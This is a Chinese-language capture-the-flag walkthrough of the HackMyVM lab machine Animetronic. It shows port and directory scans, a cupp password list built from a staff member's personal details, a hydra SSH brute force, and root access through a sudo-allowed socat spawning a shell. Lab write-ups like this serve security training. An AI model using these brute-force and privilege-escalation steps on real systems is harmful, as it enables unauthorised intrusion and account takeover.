Animetronic - hackmyvm

news2024/9/22 3:37:05

简介

靶机名称:Animetronic

难度:简单

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Animetronic

本地环境

虚拟机:vitual box

靶场IP(Animetronic):192.168.130.188

windows_IP:192.168.130.158

kali_IP:192.168.130.156

扫描

nmap起手

nmap -sT -p0- 192.168.130.188 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -sT -sV -sC -O -p$ports 192.168.130.188/32 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 03:37 EDT
Nmap scan report for animetronic.lan (192.168.130.188)
Host is up (0.0014s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 59:eb:51:67:e5:6a:9e:c1:4c:4e:c5:da:cd:ab:4c:eb (ECDSA)
|_  256 96:da:61:17:e2:23:ca:70:19:b5:3f:53:b5:5a:02:59 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Animetronic
MAC Address: 08:00:27:2E:CE:1B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.75 seconds

经典双端口

HTTP

目录扫描

feroxbuster -u http://192.168.130.188/ -t 20 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,zip,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.130.188/
 🚀  Threads               │ 20
 📖  Wordlist              │ /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, zip, bak, jpg, png, mp4, mkv, txt, html, md, git, 7z, rar, db, log, docx, xlsx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      280c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       42l       81w      781c http://192.168.130.188/css/animetronic.css
200      GET       52l      340w    24172c http://192.168.130.188/img/favicon.ico
200      GET       52l      202w     2384c http://192.168.130.188/index.html
301      GET        9l       28w      316c http://192.168.130.188/img => http://192.168.130.188/img/
200      GET        7l     1513w   144878c http://192.168.130.188/css/bootstrap.min.css
301      GET        9l       28w      316c http://192.168.130.188/css => http://192.168.130.188/css/
200      GET     2761l    15370w  1300870c http://192.168.130.188/img/logo.png
200      GET       52l      202w     2384c http://192.168.130.188/
301      GET        9l       28w      315c http://192.168.130.188/js => http://192.168.130.188/js/
200      GET      212l     1222w    97416c http://192.168.130.188/img/bg.jpg
301      GET        9l       28w      323c http://192.168.130.188/staffpages => http://192.168.130.188/staffpages/
200      GET      728l     3824w   287818c http://192.168.130.188/staffpages/new_employees
200      GET        9l       20w      116c http://192.168.130.188/staffpages/personal_info.txt
[###############>----] - 21m  82864214/106671960 6m      found:13      errors:1
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_130_188_-1723449702.state ...
[###############>----] - 21m  82866161/106671960 6m      found:13      errors:1
[###############>----] - 21m  16845696/21334320 13229/s http://192.168.130.188/
[###############>----] - 21m  16798248/21334320 13192/s http://192.168.130.188/img/
[###############>----] - 21m  16798572/21334320 13194/s http://192.168.130.188/css/
[###############>----] - 21m  16797402/21334320 13197/s http://192.168.130.188/js/
[##############>-----] - 20m  15624792/21334320 12876/s http://192.168.130.188/staffpages/

扫了半天……重点是这个路径http://192.168.130.188/staffpages/new_employees,有一张图片

image-20240812160248633

拉下来,查看EXIF信息

image-20240812160616218

page for you michael : ya/HnXNzyZDGg8ed4oC+yZ9vybnigL7Jr8SxyZTJpcmQx53Xnwo=

第二个路径是http://192.168.130.188/staffpages/personal_info.txt,只有一串文本,内容如下:

name: Michael

age: 27

birth date: 19/10/1996

number of children: 3 " Ahmed - Yasser - Adam "

Hobbies: swimming 

base64解码。注意这里要使用UTF-8编码,不然解析不出来特殊字符。

image-20240812161619038

处理了一下,按照正常语序为message_for_michael

image-20240812161716245

在地址栏中贴上去访问。nnd,没啥用

image-20240812161847908

总之,michael通过personal_info.txt中的信息编了新的密码。这下得去生成字典了。

自己敲了一堆,一直爆不出来,查了一下有个叫cupp的工具,直接试试。

❯ cupp -i
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Michael
> Surname:
> Nickname:
> Birthdate (DDMMYYYY): 19101996


> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name:
> Company name:


> Do you want to add some key words about the victim? Y/[N]: y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: 27 Ahmed Yasser Adam  swimming
> Do you want to add special chars at the end of words? Y/[N]: n
> Do you want to add some random numbers at the end of words? Y/[N]:n
> Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to michael.txt, counting 656 words.
[+] Now load your pistolero with michael.txt and shoot! Good luck!

然后用hydra进行爆破

hydra -t 8  -l michael -P michael.txt 192.168.130.188 ssh -I
❯ hydra -t 8  -l michael -P michael.txt 192.168.130.188 ssh -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-12 04:45:54
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 656 login tries (l:1/p:656), ~82 tries per task
[DATA] attacking ssh://192.168.130.188:22/
[STATUS] 73.00 tries/min, 73 tries in 00:01h, 583 to do in 00:08h, 8 active
[STATUS] 56.00 tries/min, 168 tries in 00:03h, 488 to do in 00:09h, 8 active
[STATUS] 52.57 tries/min, 368 tries in 00:07h, 288 to do in 00:06h, 8 active
[22][ssh] host: 192.168.130.188   login: michael   password: leahcim1996
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-12 04:56:23

得到密码是leahcim1996

提权

来到另一个用户目录/home/henry,找到user.txt和一个note

michael@animetronic:/home/henry$ ls -alh
total 56K
drwxrwxr-x   6 henry henry 4.0K Nov 27  2023 .
drwxr-xr-x   4 root  root  4.0K Nov 27  2023 ..
-rwxrwxr-x   1 henry henry   30 Jan  5  2024 .bash_history
-rwxrwxr-x   1 henry henry  220 Jan  6  2022 .bash_logout
-rwxrwxr-x   1 henry henry 3.7K Jan  6  2022 .bashrc
drwxrwxr-x   2 henry henry 4.0K Nov 27  2023 .cache
drwxrwxr-x   3 henry henry 4.0K Nov 27  2023 .local
drwxrwxr-x 402 henry henry  12K Nov 27  2023 .new_folder
-rwxrwxr-x   1 henry henry  807 Jan  6  2022 .profile
drwxrwxr-x   2 henry henry 4.0K Nov 27  2023 .ssh
-rwxrwxr-x   1 henry henry    0 Nov 27  2023 .sudo_as_admin_successful
-rwxrwxr-x   1 henry henry  119 Nov 27  2023 Note.txt
-rwxrwxr-x   1 henry henry   33 Nov 27  2023 user.txt
michael@animetronic:/home/henry$ cat Note.txt
if you need my account to do anything on the server,
you will find my password in file named

aGVucnlwYXNzd29yZC50eHQK

先base64解密,得到文件名是henrypassword.txt

image-20240812165105176

然后用find搜就行了

michael@animetronic:/home/henry$ find / -name "henrypassword.txt" -type f  2>/dev/null
/home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
michael@animetronic:/home/henry$ cat /home/henry/.new_folder/dir289/dir26/dir10/henrypassword.txt
IHateWilliam

su。成功登入henry

socat

sudo -l起手

henry@animetronic:~$ sudo -l
Matching Defaults entries for henry on animetronic:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User henry may run the following commands on animetronic:
    (root) NOPASSWD: /usr/bin/socat

根据https://gtfobins.github.io/gtfobins/socat/上的指南,直接用stdin传入shell即可

henry@animetronic:~$ sudo /usr/bin/socat stdin exec:/bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2037239.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Golang 为何如此之快:性能分析

Golang 是一种相对年轻但很流行的语言,IBM 和 Google 等公司都在使用这种语言。在本文中,我们将了解 Golang 的特别之处。 Golang 被认为是世界上编译速度最快的语言之一。谷歌、Uber 和 Twitch 等科技公司都喜欢使用它,并依靠它进行内部开发…

HarmonyOS(50) 截图保存功能实现

componentSnapshot实现截图 前言权限配置和申请权限配置权限申请 componentSnapshot截图实现将PixelMap转换成图片格式保存截图到系统相册保存截图到应用沙箱全部源码参考资料 前言 HarmonyOS提供了componentSnapshot实现组件截图功能,可以将UI截图成为image.Pixel…

WMS助力企业数字化转型(七)

WMS系统可以帮助企业实现更精确的库存控制,避免库存积压和缺货现象。通过对历史数据的分析,企业可以预测需求趋势,优化库存结构,从而减少资金占用和运营成本。同时,WMS还支持与其他系统的无缝对接,如企业资…

限时营销与开源AI智能名片O2O商城小程序的深度融合:重塑线上促销策略的新视角

摘要:在数字化营销日益激烈的今天,限时促销活动作为吸引用户注意力、激发购买欲望的传统手段,面临着前所未有的挑战。随着线上营销活动的泛滥,消费者对传统折扣策略已逐渐产生疲劳与免疫。因此,探索一种更加高效、精准…

开放式耳机最不伤耳吗?舒适度高的几款精选蓝牙耳机

开放式耳机对耳朵的伤害相对较小,但不能说它是最不伤耳的耳机。 与传统入耳式耳机相比,开放式耳机的优点在于不会深入耳道,减少了对耳朵的压迫感和耳道内的压力,佩戴起来更加舒适。同时,开放式设计允许空气流通&#…

免费简单的制作3D卡通建模——Fuse软件和Readyplayer的使用介绍

最终效果 文章目录 最终效果一、使用Fuse软件去Steam下载安装捏人选择身体部位自定义人物细节参数换装贴图修改导出OBJ文件即可 二、使用ReadyplayerReadyplayer官网地址选择从模板开始,或者拍照选择图片进行捏脸将模型导入Unity通过Readyplayer官方插件导入模型通过…

白盒测试-发送请求-引出MockMvc源码类

白盒测试是什么? 一般是测开做白盒测试,研发做白盒 spring boot是和junit结合 原本是jmeter发请求,是看不到代码逻辑,有接口信息就可以实现 用测试代码发请求,能看到代码逻辑,比接口测试更全面&#xf…

大恒相机通过Line2或Line3直接给出3.3V触发,形成分时曝光

大恒相机通过Line2或Line3直接给出3.3V触发,形成分时曝光 一、分时曝光需求二、3.3V信号分时曝光设计 写在前面 上班了,没多少时间再去精度论文了,大多是项目上的事情。 一、分时曝光需求 一般的12V光源通过光源控制器与大恒相机Line1线连接…

PDF转换器推荐:轻松将图片批量转为PDF

高质量的图片与文档管理已经逐渐成为了我们日常工作中不可或缺的一部分。为了防止图片在传输的过程中被压缩,我经常将他们转换为PDF格式。这次我给你推荐几个我常用的图片转PDF的小工具吧。 1.福昕PDF转换大师 链接一下>>https://www.pdf365.cn/pdf2word/ …

关于自己部署AI大模型踩的坑(一)——硬件篇

最近一直在研究如何打算属于我自己的J.A.R.V.I.S.(钢铁侠中的机器人管家)。 上一篇写了我最近在部署自己的大模型,使用llama3.1, 和通义千问2。虽然最终结果也是成功了,过程却十分地坎坷。 所以这一篇文章一是总结其中…

keepalived基础

目录 1 高可用集群简介 1.1 高可用的概念 1.2 常见的 HA 集群 1.3 高可用集群软件 2 keepalived的功能与用途 2.1 LVS directors failover功能 2.2 LVS cluster nodes healthchecks功能 3 VRRP协议介绍 4 Keepalived 架构 5 原理总结 1 高可用集群简介 1.1 高可用的概念 高可…

数据埋点系列 5|数据驱动决策:形成数据驱动文化

在过去的几篇文章中,我们深入探讨了数据埋点、数据质量保证、数据分析和可视化等主题。现在,让我们站在更高的视角,讨论如何将这些技术和方法整合到实际的业务决策中,以及如何在组织中建立真正的数据驱动文化。 目录 1. 回顾&am…

Github 2024-08-14 C开源项目日报Top10

根据Github Trendings的统计,今日(2024-08-14统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量C项目10Objective-C项目1PHP项目1Python项目1PHP:流行的Web开发脚本语言 创建周期:4710 天开发语言:C, PHP协议类型:OtherStar数量:37340 …

【Pyspark-驯化】一文搞懂Pyspark修改hive表描述以及增加列使用技巧

【Pyspark-驯化】一文搞懂Pyspark修改hive表描述以及增加列使用技巧 本次修炼方法请往下查看 🌈 欢迎莅临我的个人主页 👈这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合,智慧小天地! 🎇 相关内容文档获取 微…

C++11 STL中的Vector使用细节

容器 支持泛型 Vector常用成员函数示例迭代器操作插入和删除操作 与find 配合:vector 一些复杂操作 Vector 的内存管理策略压入对象 需要无参构造.压入对象指针 高效插入和删除 迭代器失效 代码优化: 二维及多维空间生成 容器 支持泛型 vector<int> vi;vector<double…

中国数据库的前世今生:披荆斩棘,乘风破浪

文章目录 前言国外数据库技术蓬勃发展中国信息化起步与发展&#xff08;数据库技术探索&#xff09;国外数据库商战策略解决燃眉之急学习先进技术 数据库技术的新格局雷声大雨点小的千年虫新型数据库的诞生国产数据库展露头脚 开源助力国产数据库弯道超车去“IOE”化大数据席卷…

使用OIDC登录kubesphere遇到的坑细节

1.通过代理telepresence到本地调试&#xff0c;使用默认账号密码&#xff0c;提示账号密码错误。 2.kubesphere在sso登录的时候&#xff0c;提示签名错误&#xff0c;其实这个错误不是很明确&#xff0c;所以要到本地调试&#xff0c;找到根本原因。 # 错误1 Tnauthorized: fa…

《Linux运维总结:基于ARM64架构CPU使用docker-compose一键离线部署etcd 3.5.15容器版分布式集群》

总结&#xff1a;整理不易&#xff0c;如果对你有帮助&#xff0c;可否点赞关注一下&#xff1f; 更多详细内容请参考&#xff1a;《Linux运维篇&#xff1a;Linux系统运维指南》 一、部署背景 由于业务系统的特殊性&#xff0c;我们需要面对不同的客户部署业务系统&#xff0…

skywalking架构

1.整体架构 整个架构&#xff0c;分成上、下、左、右四部分&#xff1a; 在SkyWalking中&#xff0c;trace 数据和 metrics 数据是两种关键的监控数据类型&#xff0c;它们帮助你理解应用的运行状态、性能瓶颈和故障点 1.1Trace 数据 Trace 数据是分布式追踪数据&#xff0c;它…

【原创】java+springboot+mysql学业跟踪指导管理系统设计与实现

个人主页&#xff1a;程序猿小小杨 个人简介&#xff1a;从事开发多年&#xff0c;Java、Php、Python、前端开发均有涉猎 博客内容&#xff1a;Java项目实战、项目演示、技术分享 文末有作者名片&#xff0c;希望和大家一起共同进步&#xff0c;你只管努力&#xff0c;剩下的交…